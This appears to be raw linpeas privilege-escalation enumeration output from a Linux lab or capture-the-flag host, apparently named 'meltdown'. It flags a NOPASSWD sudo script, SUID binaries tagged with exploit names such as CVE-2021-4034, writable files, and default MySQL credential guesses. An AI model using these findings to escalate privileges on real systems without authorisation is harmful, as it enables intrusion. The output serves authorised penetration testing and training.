╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#open-ports              
══╣ Active Ports (ss)                                
tcp     LISTEN   0        80             127.0.0.1:3306          0.0.0.0:*      
tcp     LISTEN   0        128              0.0.0.0:22            0.0.0.0:*      
tcp     LISTEN   0        128                    *:80                  *:*      
tcp     LISTEN   0        128                 [::]:22               [::]:*      

╔══════════╣ Network Traffic Analysis Capabilities
                                                     
══╣ Available Sniffing Tools
No sniffing tools found                              

══╣ Network Interfaces Sniffing Capabilities
Interface enp0s3: Not sniffable                      
No sniffable interfaces found

╔══════════╣ Firewall Rules Analysis
                                                     
══╣ Iptables Rules
No permission to list iptables rules                 

══╣ Nftables Rules
nftables Not Found                                   
                                                     
══╣ Firewalld Rules
firewalld Not Found                                  
                                                     
══╣ UFW Rules
ufw Not Found                                        
                                                     
╔══════════╣ Inetd/Xinetd Services Analysis
                                                     
══╣ Inetd Services
inetd Not Found                                      
                                                     
══╣ Xinetd Services
xinetd Not Found                                     
                                                     
══╣ Running Inetd/Xinetd Services
-e                                                   
Active Services (from ss):
-e 
Running Service Processes:

╔══════════╣ Internet Access?
Neither curl nor wget available                      
DNS accessible
ICMP is accessible
Port 443 is accessible
Port 80 is accessible



                               ╔═══════════════════╗
═══════════════════════════════╣ Users Information ╠═══════════════════════════════                       
                               ╚═══════════════════╝ 
╔══════════╣ My user
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#users                   
uid=1000(rin) gid=1000(rin) groups=1000(rin)         

╔══════════╣ PGP Keys and Related Files
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#pgp-keys                
GPG:                                                 
GPG is installed, listing keys:
-e 
NetPGP:
netpgpkeys Not Found
-e                                                   
PGP Related Files:
Found: /home/rin/.gnupg
total 16
drwx------ 2 rin rin 4096 Jan 13 04:24 .
drwx------ 3 rin rin 4096 Jan 13 04:24 ..
-rw------- 1 rin rin   32 Jan 13 04:24 pubring.kbx
-rw------- 1 rin rin 1200 Jan 13 04:24 trustdb.gpg

╔══════════╣ Checking &amp;#39;sudo -l&amp;#39;, /etc/sudoers, and /etc/sudoers.d                                         
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-and-suid           
Matching Defaults entries for rin on meltdown:       
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User rin may run the following commands on meltdown:
    (root) NOPASSWD: /opt/repeater.sh


╔══════════╣ Checking sudo tokens
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#reusing-sudo-tokens     
ptrace protection is disabled (0), so sudo tokens could be abused

doas.conf Not Found
                                                     
╔══════════╣ Checking Pkexec and Polkit
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/interesting-groups-linux-pe/index.html#pe---method-2                                    
                                                     
══╣ Polkit Binary
Pkexec binary found at: /usr/bin/pkexec              
Pkexec binary has SUID bit set!
-rwsr-xr-x 1 root root 23448 Jan 13  2022 /usr/bin/pkexec
pkexec version 0.105

══╣ Polkit Policies
Checking /etc/polkit-1/localauthority.conf.d/:       

[Configuration]
AdminIdentities=unix-user:0
[Configuration]
AdminIdentities=unix-group:sudo
Checking /usr/share/polkit-1/rules.d/:
polkit.addRule(function(action, subject) {
    if ((action.id == &amp;quot;org.freedesktop.packagekit.upgrade-system&amp;quot; ||
         action.id == &amp;quot;org.freedesktop.packagekit.trigger-offline-update&amp;quot;) &amp;amp;&amp;amp;
        subject.active == true &amp;amp;&amp;amp; subject.local == true &amp;amp;&amp;amp;
        subject.isInGroup(&amp;quot;sudo&amp;quot;)) {
            return polkit.Result.YES;
    }
});
// Allow systemd-networkd to set timezone, get product UUID,
// and transient hostname
polkit.addRule(function(action, subject) {
    if ((action.id == &amp;quot;org.freedesktop.hostname1.set-hostname&amp;quot; ||
         action.id == &amp;quot;org.freedesktop.hostname1.get-product-uuid&amp;quot; ||
         action.id == &amp;quot;org.freedesktop.timedate1.set-timezone&amp;quot;) &amp;amp;&amp;amp;
        subject.user == &amp;quot;systemd-network&amp;quot;) {
        return polkit.Result.YES;
    }
});

══╣ Polkit Authentication Agent
root         957  0.0  0.3 237332  7952 ?        Ssl  03:46   0:00 /usr/libexec/polkitd --no-debug

╔══════════╣ Superusers and UID 0 Users
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/interesting-groups-linux-pe/index.html                                                  
                                                     
══╣ Users with UID 0 in /etc/passwd
root:x:0:0:root:/root:/bin/bash                      

══╣ Users with sudo privileges in sudoers
                                                     
╔══════════╣ Users with console
rin:x:1000:1000::/home/rin:/bin/bash                 
root:x:0:0:root:/root:/bin/bash

╔══════════╣ All users &amp;amp; groups
uid=0(root) gid=0(root) groups=0(root)               
uid=1000(rin) gid=1000(rin) groups=1000(rin)
uid=100(_apt) gid=65534(nogroup) groups=65534(nogroup)                                                    
uid=101(systemd-timesync) gid=102(systemd-timesync) groups=102(systemd-timesync)
uid=102(systemd-network) gid=103(systemd-network) groups=103(systemd-network)
uid=103(systemd-resolve) gid=104(systemd-resolve) groups=104(systemd-resolve)
uid=104(messagebus) gid=110(messagebus) groups=110(messagebus)                                            
uid=105(sshd) gid=65534(nogroup) groups=65534(nogroup)                                                    
uid=10(uucp) gid=10(uucp) groups=10(uucp)
uid=13(proxy) gid=13(proxy) groups=13(proxy)
uid=1(daemon[0m) gid=1(daemon[0m) groups=1(daemon[0m)
uid=2(bin) gid=2(bin) groups=2(bin)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=34(backup) gid=34(backup) groups=34(backup)
uid=38(list) gid=38(list) groups=38(list)
uid=39(irc) gid=39(irc) groups=39(irc)
uid=3(sys) gid=3(sys) groups=3(sys)
uid=41(gnats) gid=41(gnats) groups=41(gnats)
uid=4(sync) gid=65534(nogroup) groups=65534(nogroup)
uid=5(games) gid=60(games) groups=60(games)
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)                                                
uid=6(man) gid=12(man) groups=12(man)
uid=7(lp) gid=7(lp) groups=7(lp)
uid=8(mail) gid=8(mail) groups=8(mail)
uid=998(mysql) gid=1001(mysql) groups=1001(mysql)
uid=999(systemd-coredump) gid=999(systemd-coredump) groups=999(systemd-coredump)
uid=9(news) gid=9(news) groups=9(news)

╔══════════╣ Currently Logged in Users
                                                     
══╣ Basic user information
 04:24:39 up  1:12,  1 user,  load average: 0.28, 0.06, 0.22
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
rin      pts/1    192.168.0.106    04:16   23.00s  0.14s  0.00s /bin/sh ./linpeas.sh

══╣ Active sessions
 04:24:39 up  1:12,  1 user,  load average: 0.28, 0.06, 0.22
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
rin      pts/1    192.168.0.106    04:16   23.00s  0.14s  0.00s w

══╣ Logged in users (utmp)
           system boot  2026-01-13 03:11             
           run-level 5  2026-01-13 03:11
LOGIN      tty1         2026-01-13 03:11               350 id=tty1
rin      + pts/1        2026-01-13 04:16   .          1507 (192.168.0.106)

══╣ SSH sessions
ESTAB      0      84               192.168.0.102:22               192.168.0.106:49106                                                                           

══╣ Screen sessions
                                                     
══╣ Tmux sessions
                                                     
╔══════════╣ Last Logons and Login History
                                                     
══╣ Last logins
rin      pts/1        192.168.0.106    Tue Jan 13 04:16   still logged in
rin      pts/1        192.168.0.106    Tue Jan 13 04:03 - 04:16  (00:13)
reboot   system boot  4.19.0-27-amd64  Tue Jan 13 03:11   still running
root     pts/0        192.168.2.118    Tue Dec 30 01:01 - crash (14+02:10)
reboot   system boot  4.19.0-27-amd64  Tue Dec 30 00:59   still running
root     pts/0        192.168.2.118    Mon Dec 29 23:05 - crash  (01:53)
reboot   system boot  4.19.0-27-amd64  Mon Dec 29 23:05   still running
welcome  pts/0        192.168.3.94     Fri Apr 11 22:27 - 22:28  (00:00)
root     pts/0        192.168.3.94     Fri Apr 11 22:27 - 22:27  (00:00)
reboot   system boot  4.19.0-27-amd64  Fri Apr 11 22:26   still running
root     pts/0        192.168.3.94     Fri Apr 11 22:23 - 22:25  (00:01)
reboot   system boot  4.19.0-27-amd64  Fri Apr 11 22:23 - 22:25  (00:02)
root     pts/0        192.168.3.94     Fri Apr 11 22:15 - 22:22  (00:07)
reboot   system boot  4.19.0-27-amd64  Fri Apr 11 22:14 - 22:22  (00:08)
root     pts/0        192.168.3.94     Fri Apr 11 22:08 - 22:13  (00:04)
reboot   system boot  4.19.0-27-amd64  Fri Apr 11 22:07 - 22:13  (00:06)
root     pts/0        192.168.3.94     Fri Apr 11 22:06 - 22:07  (00:00)
reboot   system boot  4.19.0-27-amd64  Fri Apr 11 22:06 - 22:07  (00:01)
root     pts/0        192.168.3.94     Fri Apr 11 22:03 - 22:04  (00:01)
reboot   system boot  4.19.0-27-amd64  Fri Apr 11 22:02 - 22:04  (00:01)

wtmp begins Tue Mar 18 20:40:32 2025

══╣ Failed login attempts
                                                     
══╣ Recent logins from auth.log (limit 20)
                                                     
══╣ Last time logon each user
Username         Port     From             Latest    
root             pts/0    192.168.2.118    Tue Dec 30 01:01:26 -0500 2025
rin              pts/1    192.168.0.106    Tue Jan 13 04:16:22 -0500 2026

╔══════════╣ Do not forget to test &amp;#39;su&amp;#39; as any other user with shell: without password and with their names as password (I don&amp;#39;t do it in FAST mode...)        
                                                     
╔══════════╣ Do not forget to execute &amp;#39;sudo -l&amp;#39; without password or with valid password (if you know it)!!
                                                     


                             ╔══════════════════════╗
═════════════════════════════╣ Software Information ╠═════════════════════════════                        
                             ╚══════════════════════╝
╔══════════╣ Useful software
/usr/bin/base64                                      
/usr/bin/g++
/usr/bin/gcc
/usr/bin/make
/usr/bin/perl
/usr/bin/php
/usr/bin/ping
/usr/bin/python3
/usr/bin/python3.7
/usr/bin/ruby
/usr/bin/sudo

╔══════════╣ Installed Compilers
ii  g++                           4:10.2.1-1                                  amd64        GNU C++ compiler
ii  g++-10                        10.2.1-6                                    amd64        GNU C++ compiler
ii  gcc                           4:10.2.1-1                                  amd64        GNU C compiler
ii  gcc-10                        10.2.1-6                                    amd64        GNU C compiler
/usr/bin/gcc

╔══════════╣ Analyzing Apache-Nginx Files (limit 70)
Apache version: Server version: Apache/2.4.62 (Debian)
Server built:   2024-08-15T01:18:37
httpd Not Found
                                                     
Nginx version: nginx Not Found
                                                     
/etc/apache2/mods-enabled/php8.3.conf-&amp;lt;FilesMatch &amp;quot;.+\.ph(?:ar|p|tml)$&amp;quot;&amp;gt;
/etc/apache2/mods-enabled/php8.3.conf:    SetHandler application/x-httpd-php
--
/etc/apache2/mods-enabled/php8.3.conf-&amp;lt;FilesMatch &amp;quot;.+\.phps$&amp;quot;&amp;gt;
/etc/apache2/mods-enabled/php8.3.conf:    SetHandler application/x-httpd-php-source
--
/etc/apache2/mods-available/php8.3.conf-&amp;lt;FilesMatch &amp;quot;.+\.ph(?:ar|p|tml)$&amp;quot;&amp;gt;
/etc/apache2/mods-available/php8.3.conf:    SetHandler application/x-httpd-php
--
/etc/apache2/mods-available/php8.3.conf-&amp;lt;FilesMatch &amp;quot;.+\.phps$&amp;quot;&amp;gt;
/etc/apache2/mods-available/php8.3.conf:    SetHandler application/x-httpd-php-source
══╣ PHP exec extensions
drwxr-xr-x 2 root root 4096 Apr  1  2025 /etc/apache2/sites-enabled
drwxr-xr-x 2 root root 4096 Apr  1  2025 /etc/apache2/sites-enabled                                       
lrwxrwxrwx 1 root root 35 Apr  1  2025 /etc/apache2/sites-enabled/000-default.conf -&amp;gt; ../sites-available/000-default.conf                                      
&amp;lt;VirtualHost *:80&amp;gt;
        ServerAdmin webmaster@localhost
        DocumentRoot /var/www/html
        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined
&amp;lt;/VirtualHost&amp;gt;


-rw-r--r-- 1 root root 1332 Aug 14  2024 /etc/apache2/sites-available/000-default.conf
&amp;lt;VirtualHost *:80&amp;gt;
        ServerAdmin webmaster@localhost
        DocumentRoot /var/www/html
        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined
&amp;lt;/VirtualHost&amp;gt;
lrwxrwxrwx 1 root root 35 Apr  1  2025 /etc/apache2/sites-enabled/000-default.conf -&amp;gt; ../sites-available/000-default.conf                                      
&amp;lt;VirtualHost *:80&amp;gt;
        ServerAdmin webmaster@localhost
        DocumentRoot /var/www/html
        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined
&amp;lt;/VirtualHost&amp;gt;

-rw-r--r-- 1 root root 73718 Dec 29 23:08 /etc/php/8.3/apache2/php.ini
allow_url_fopen = On
allow_url_include = Off
odbc.allow_persistent = On
mysqli.allow_persistent = On
pgsql.allow_persistent = On
-rw-r--r-- 1 root root 73714 Mar 13  2025 /etc/php/8.3/cli/php.ini
allow_url_fopen = On
allow_url_include = Off
odbc.allow_persistent = On
mysqli.allow_persistent = On
pgsql.allow_persistent = On



╔══════════╣ Analyzing MariaDB Files (limit 70)
-rw-r--r-- 1 root root 1126 Nov 30  2023 /etc/mysql/mariadb.cnf                                           
[client-server]
socket = /run/mysqld/mysqld.sock
!includedir /etc/mysql/conf.d/
!includedir /etc/mysql/mariadb.conf.d/


╔══════════╣ Analyzing PAM Auth Files (limit 70)
drwxr-xr-x 2 root root 4096 Apr  4  2025 /etc/pam.d  
-rw-r--r-- 1 root root 2133 Dec 21  2023 /etc/pam.d/sshd                                                  
account    required     pam_nologin.so
session [success=ok ignore=ignore module_unknown=ignore default=bad]        pam_selinux.so close
session    required     pam_loginuid.so
session    optional     pam_keyinit.so force revoke
session    optional     pam_motd.so  motd=/run/motd.dynamic
session    optional     pam_motd.so noupdate
session    optional     pam_mail.so standard noenv # [1]
session    required     pam_limits.so
session    required     pam_env.so # [1]
session    required     pam_env.so user_readenv=1 envfile=/etc/default/locale
session [success=ok ignore=ignore module_unknown=ignore default=bad]        pam_selinux.so open


╔══════════╣ Analyzing Ldap Files (limit 70)
The password hash is from the {SSHA} to &amp;#39;structural&amp;#39; 
drwxr-xr-x 2 root root 4096 Mar 31  2025 /etc/ldap


╔══════════╣ Analyzing Keyring Files (limit 70)
drwxr-xr-x 2 root root 4096 Mar 18  2025 /usr/share/keyrings                                              




╔══════════╣ Analyzing FTP Files (limit 70)
                                                     


-rw-r--r-- 1 root root 69 Mar 13  2025 /etc/php/8.3/mods-available/ftp.ini
-rw-r--r-- 1 root root 69 Mar 13  2025 /usr/share/php8.3-common/common/ftp.ini






╔══════════╣ Analyzing Other Interesting Files (limit 70)                                                 
-rw-r--r-- 1 root root 3526 Apr 18  2019 /etc/skel/.bashrc                                                
-rw-r--r-- 1 rin rin 3526 Apr 18  2019 /home/rin/.bashrc                                                  





-rw-r--r-- 1 root root 807 Apr 18  2019 /etc/skel/.profile                                                
-rw-r--r-- 1 rin rin 807 Apr 18  2019 /home/rin/.profile                                                  




╔══════════╣ Analyzing Windows Files (limit 70)
                                                     





















lrwxrwxrwx 1 root root 22 Mar 31  2025 /etc/alternatives/my.cnf -&amp;gt; /etc/mysql/mariadb.cnf
-rw-r--r-- 1 root root 289 Dec 29 23:13 /etc/my.cnf
lrwxrwxrwx 1 root root 24 Mar 31  2025 /etc/mysql/my.cnf -&amp;gt; /etc/alternatives/my.cnf
-rw-r--r-- 1 root root 83 Mar 31  2025 /var/lib/dpkg/alternatives/my.cnf






























╔══════════╣ Searching mysql credentials and exec
Found readable /etc/mysql/my.cnf                     
[client-server]
socket = /run/mysqld/mysqld.sock
!includedir /etc/mysql/conf.d/
!includedir /etc/mysql/mariadb.conf.d/

╔══════════╣ MySQL version
mysql  Ver 14.14 Distrib 5.7.38, for linux-glibc2.12 (x86_64) using  EditLine wrapper


═╣ MySQL connection using default root/root ........... No                                                
═╣ MySQL connection using root/toor ................... No                                                
═╣ MySQL connection using root/NOPASS ................. No                                                
                                                     
Unable to determine MySQL version.
╔══════════╣ Analyzing PGP-GPG Files (limit 70)
/usr/bin/gpg                                         
netpgpkeys Not Found
netpgp Not Found                                     
                                                     
-rw-r--r-- 1 root root 8700 Jun 22  2023 /etc/apt/trusted.gpg.d/debian-archive-bookworm-automatic.gpg
-rw-r--r-- 1 root root 8709 Jun 22  2023 /etc/apt/trusted.gpg.d/debian-archive-bookworm-security-automatic.gpg                                                 
-rw-r--r-- 1 root root 280 Jun 22  2023 /etc/apt/trusted.gpg.d/debian-archive-bookworm-stable.gpg
-rw-r--r-- 1 root root 8700 Mar 16  2021 /etc/apt/trusted.gpg.d/debian-archive-bullseye-automatic.gpg
-rw-r--r-- 1 root root 8709 Mar 16  2021 /etc/apt/trusted.gpg.d/debian-archive-bullseye-security-automatic.gpg                                                 
-rw-r--r-- 1 root root 2453 Mar 16  2021 /etc/apt/trusted.gpg.d/debian-archive-bullseye-stable.gpg
-rw-r--r-- 1 root root 8132 Mar 16  2021 /etc/apt/trusted.gpg.d/debian-archive-buster-automatic.gpg
-rw-r--r-- 1 root root 8141 Mar 16  2021 /etc/apt/trusted.gpg.d/debian-archive-buster-security-automatic.gpg                                                   
-rw-r--r-- 1 root root 2332 Mar 16  2021 /etc/apt/trusted.gpg.d/debian-archive-buster-stable.gpg
-rw-r--r-- 1 root root 7443 Mar 16  2021 /etc/apt/trusted.gpg.d/debian-archive-stretch-automatic.gpg
-rw-r--r-- 1 root root 7452 Mar 16  2021 /etc/apt/trusted.gpg.d/debian-archive-stretch-security-automatic.gpg                                                  
-rw-r--r-- 1 root root 2263 Mar 16  2021 /etc/apt/trusted.gpg.d/debian-archive-stretch-stable.gpg
-rw-r--r-- 1 root root 0 Apr  1  2025 /etc/apt/trusted.gpg.d/ondrej_ubuntu_php.gpg
-rw-r--r-- 1 root root 1769 Apr  1  2025 /etc/apt/trusted.gpg.d/php.gpg
-rw-r--r-- 1 root root 2899 Jul  1  2022 /usr/share/gnupg/distsigkey.gpg
-rw-r--r-- 1 root root 8700 Jun 22  2023 /usr/share/keyrings/debian-archive-bookworm-automatic.gpg
-rw-r--r-- 1 root root 8709 Jun 22  2023 /usr/share/keyrings/debian-archive-bookworm-security-automatic.gpg                                                    
-rw-r--r-- 1 root root 280 Jun 22  2023 /usr/share/keyrings/debian-archive-bookworm-stable.gpg
-rw-r--r-- 1 root root 8700 Jun 22  2023 /usr/share/keyrings/debian-archive-bullseye-automatic.gpg
-rw-r--r-- 1 root root 8709 Jun 22  2023 /usr/share/keyrings/debian-archive-bullseye-security-automatic.gpg                                                    
-rw-r--r-- 1 root root 2453 Jun 22  2023 /usr/share/keyrings/debian-archive-bullseye-stable.gpg
-rw-r--r-- 1 root root 8132 Jun 22  2023 /usr/share/keyrings/debian-archive-buster-automatic.gpg
-rw-r--r-- 1 root root 8141 Jun 22  2023 /usr/share/keyrings/debian-archive-buster-security-automatic.gpg
-rw-r--r-- 1 root root 2332 Jun 22  2023 /usr/share/keyrings/debian-archive-buster-stable.gpg
-rw-r--r-- 1 root root 73314 Jun 22  2023 /usr/share/keyrings/debian-archive-keyring.gpg
-rw-r--r-- 1 root root 36873 Jun 22  2023 /usr/share/keyrings/debian-archive-removed-keys.gpg
-rw-r--r-- 1 root root 7443 Jun 22  2023 /usr/share/keyrings/debian-archive-stretch-automatic.gpg
-rw-r--r-- 1 root root 7452 Jun 22  2023 /usr/share/keyrings/debian-archive-stretch-security-automatic.gpg
-rw-r--r-- 1 root root 2263 Jun 22  2023 /usr/share/keyrings/debian-archive-stretch-stable.gpg



╔══════════╣ Searching uncommon passwd files (splunk)
passwd file: /etc/pam.d/passwd                       
passwd file: /etc/passwd
passwd file: /usr/share/lintian/overrides/passwd

╔══════════╣ Searching ssl/ssh files
╔══════════╣ Analyzing SSH Files (limit 70)          
                                                     




-rw-r--r-- 1 root root 172 Mar 18  2025 /etc/ssh/ssh_host_ecdsa_key.pub
-rw-r--r-- 1 root root 92 Mar 18  2025 /etc/ssh/ssh_host_ed25519_key.pub
-rw-r--r-- 1 root root 564 Mar 18  2025 /etc/ssh/ssh_host_rsa_key.pub

PermitRootLogin yes
ChallengeResponseAuthentication no
UsePAM yes
══╣ Some certificates were found (out limited):
/etc/ssl/certs/ACCVRAIZ1.pem                         
/etc/ssl/certs/AC_RAIZ_FNMT-RCM.pem
/etc/ssl/certs/Actalis_Authentication_Root_CA.pem
/etc/ssl/certs/AffirmTrust_Commercial.pem
/etc/ssl/certs/AffirmTrust_Networking.pem
/etc/ssl/certs/AffirmTrust_Premium_ECC.pem
/etc/ssl/certs/AffirmTrust_Premium.pem
/etc/ssl/certs/Amazon_Root_CA_1.pem
/etc/ssl/certs/Amazon_Root_CA_2.pem
/etc/ssl/certs/Amazon_Root_CA_3.pem
/etc/ssl/certs/Amazon_Root_CA_4.pem
/etc/ssl/certs/Atos_TrustedRoot_2011.pem
/etc/ssl/certs/Autoridad_de_Certificacion_Firmaprofesional_CIF_A62634068.pem
/etc/ssl/certs/Baltimore_CyberTrust_Root.pem
/etc/ssl/certs/Buypass_Class_2_Root_CA.pem
/etc/ssl/certs/Buypass_Class_3_Root_CA.pem
/etc/ssl/certs/ca-certificates.crt
/etc/ssl/certs/CA_Disig_Root_R2.pem
/etc/ssl/certs/Certigna.pem
/etc/ssl/certs/Certigna_Root_CA.pem
1563PSTORAGE_CERTSBIN

══╣ Writable ssh and gpg agents
/etc/systemd/user/sockets.target.wants/gpg-agent.socket
/etc/systemd/user/sockets.target.wants/gpg-agent-browser.socket
/etc/systemd/user/sockets.target.wants/gpg-agent-extra.socket
/etc/systemd/user/sockets.target.wants/gpg-agent-ssh.socket
══╣ Some home ssh config file was found
/usr/share/openssh/sshd_config                       
Include /etc/ssh/sshd_config.d/*.conf
ChallengeResponseAuthentication no
UsePAM yes
X11Forwarding yes
PrintMotd no
AcceptEnv LANG LC_*
Subsystem       sftp    /usr/lib/openssh/sftp-server

══╣ /etc/hosts.allow file found, trying to read the rules:                                                
/etc/hosts.allow                                     


Searching inside /etc/ssh/ssh_config for interesting info
Include /etc/ssh/ssh_config.d/*.conf
Host *
    SendEnv LANG LC_*
    HashKnownHosts yes
    GSSAPIAuthentication yes




                      ╔════════════════════════════════════╗                                              
══════════════════════╣ Files with Interesting Permissions ╠══════════════════════                        
                      ╚════════════════════════════════════╝                                              
╔══════════╣ SUID - Check easy privesc, exploits and write perms                                          
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-and-suid           
strace Not Found                                     
-rwsr-xr-x 1 root root 44K Jul 27  2018 /usr/bin/chsh
-rwsr-xr-x 1 root root 53K Jul 27  2018 /usr/bin/chfn  ---&amp;gt;  SuSE_9.3/10                                  
-rwsr-xr-x 1 root root 44K Jul 27  2018 /usr/bin/newgrp  ---&amp;gt;  HP-UX_10.20                                
-rwsr-xr-x 1 root root 83K Jul 27  2018 /usr/bin/gpasswd                                                  
-rwsr-xr-x 1 root root 47K Apr  6  2024 /usr/bin/mount  ---&amp;gt;  Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8                                    
-rwsr-xr-x 1 root root 63K Apr  6  2024 /usr/bin/su
-rwsr-xr-x 1 root root 35K Apr  6  2024 /usr/bin/umount  ---&amp;gt;  BSD/Linux(08-1996)                         
-rwsr-xr-x 1 root root 23K Jan 13  2022 /usr/bin/pkexec  ---&amp;gt;  Linux4.10_to_5.1.17(CVE-2019-13272)/rhel_6(CVE-2011-1485)/Generic_CVE-2021-4034                 
-rwsr-xr-x 1 root root 179K Jan 14  2023 /usr/bin/sudo  ---&amp;gt;  check_if_the_sudo_version_is_vulnerable     
-rwsr-xr-x 1 root root 63K Jul 27  2018 /usr/bin/passwd  ---&amp;gt;  Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)         
-rwsr-xr-- 1 root messagebus 51K Jun  6  2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 10K Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 471K Dec 21  2023 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 19K Jan 13  2022 /usr/libexec/polkit-agent-helper-1                                

╔══════════╣ SGID
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-and-suid           
-rwxr-sr-x 1 root shadow 39K Feb 14  2019 /usr/sbin/unix_chkpwd                                           
-rwxr-sr-x 1 root ssh 347K Dec 21  2023 /usr/bin/ssh-agent                                                
-rwxr-sr-x 1 root shadow 71K Jul 27  2018 /usr/bin/chage                                                  
-rwxr-sr-x 1 root shadow 31K Jul 27  2018 /usr/bin/expiry                                                 
-rwxr-sr-x 1 root tty 15K May  4  2018 /usr/bin/bsd-write                                                 
-rwxr-sr-x 1 root crontab 43K Oct 11  2019 /usr/bin/crontab                                               

╔══════════╣ Files with ACLs (limited to 50)
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#acls                    
files with acls in searched folders Not Found        
                                                     
╔══════════╣ Capabilities
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#capabilities            
══╣ Current shell capabilities                       
./linpeas.sh: 7794: ./linpeas.sh: [[: not found      
CapInh:  [Invalid capability format]
./linpeas.sh: 7794: ./linpeas.sh: [[: not found
CapPrm:  [Invalid capability format]
./linpeas.sh: 7785: ./linpeas.sh: [[: not found
CapEff:  [Invalid capability format]
./linpeas.sh: 7794: ./linpeas.sh: [[: not found
CapBnd:  [Invalid capability format]
./linpeas.sh: 7794: ./linpeas.sh: [[: not found
CapAmb:  [Invalid capability format]

╚ Parent process capabilities
./linpeas.sh: 7819: ./linpeas.sh: [[: not found      
CapInh:  [Invalid capability format]
./linpeas.sh: 7819: ./linpeas.sh: [[: not found
CapPrm:  [Invalid capability format]
./linpeas.sh: 7810: ./linpeas.sh: [[: not found
CapEff:  [Invalid capability format]
./linpeas.sh: 7819: ./linpeas.sh: [[: not found
CapBnd:  [Invalid capability format]
./linpeas.sh: 7819: ./linpeas.sh: [[: not found
CapAmb:  [Invalid capability format]


Files with capabilities (limited to 50):
/usr/bin/ping = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep

╔══════════╣ Checking misconfigurations of ld.so
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#ldso                    
/etc/ld.so.conf                                      
Content of /etc/ld.so.conf:                          
include /etc/ld.so.conf.d/*.conf

/etc/ld.so.conf.d
  /etc/ld.so.conf.d/fakeroot-x86_64-linux-gnu.conf   
  - /usr/lib/x86_64-linux-gnu/libfakeroot            
  /etc/ld.so.conf.d/libc.conf
  - /usr/local/lib                                   
  /etc/ld.so.conf.d/x86_64-linux-gnu.conf
  - /usr/local/lib/x86_64-linux-gnu                  
  - /lib/x86_64-linux-gnu
  - /usr/lib/x86_64-linux-gnu

/etc/ld.so.preload
╔══════════╣ Files (scripts) in /etc/profile.d/      
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#profiles-files          
total 8                                              
drwxr-xr-x  2 root root 4096 Sep  3  2022 .
drwxr-xr-x 82 root root 4096 Jan 13 04:01 ..

╔══════════╣ Permissions in init, init.d, systemd, and rc.d                                               
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#init-initd-systemd-and-rcd                                                   
                                                     
╔══════════╣ AppArmor binary profiles
-rw-r--r-- 1 root root  729 Nov 13  2020 usr.sbin.inspircd

═╣ Hashes inside passwd file? ........... No
═╣ Writable passwd file? ................ No         
═╣ Credentials in fstab/mtab? ........... No         
═╣ Can I read shadow files? ............. No         
═╣ Can I read shadow plists? ............ No         
═╣ Can I write shadow plists? ........... No         
═╣ Can I read opasswd file? ............. No         
═╣ Can I write in network-scripts? ...... No         
═╣ Can I read root folder? .............. No         
                                                     
╔══════════╣ Searching root files in home dirs (limit 30)                                                 
/home/                                               
/home/rin/.bash_history
/root/
/var/www
/var/www/html/login.php

╔══════════╣ Searching folders owned by me containing others files on it (limit 100)                      
                                                     
╔══════════╣ Readable files belonging to root and readable by me but not world readable                   
                                                     
╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home) (max 200)       
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-files          
/dev/mqueue                                          
/dev/shm
/home/rin
/run/lock
/run/user/1000
/run/user/1000/dbus-1
/run/user/1000/dbus-1/services
/run/user/1000/gnupg
/run/user/1000/systemd
/run/user/1000/systemd/inaccessible
/run/user/1000/systemd/inaccessible/dir
/run/user/1000/systemd/inaccessible/reg
/run/user/1000/systemd/units
/tmp
/tmp/.font-unix
/tmp/.ICE-unix
/tmp/linpeas.sh
/tmp/repeater.sh
/tmp/.Test-unix
#)You_can_write_even_more_files_inside_last_directory

/usr/local/bin/irc_bot.py
/var/lib/php/sessions
/var/tmp

╔══════════╣ Interesting GROUP writable files (not in Home) (max 200)                                     
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-files          
  Group rin:                                         
/tmp/linpeas.sh                                      



                            ╔═════════════════════════╗                                                   
════════════════════════════╣ Other Interesting Files ╠════════════════════════════                       
                            ╚═════════════════════════╝                                                   
╔══════════╣ .sh files in path
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#scriptbinaries-in-path  
/usr/bin/gettext.sh                                  

╔══════════╣ Executable files potentially added by user (limit 70)                                        
2026-01-13+04:23:49.9654462840 /tmp/linpeas.sh       
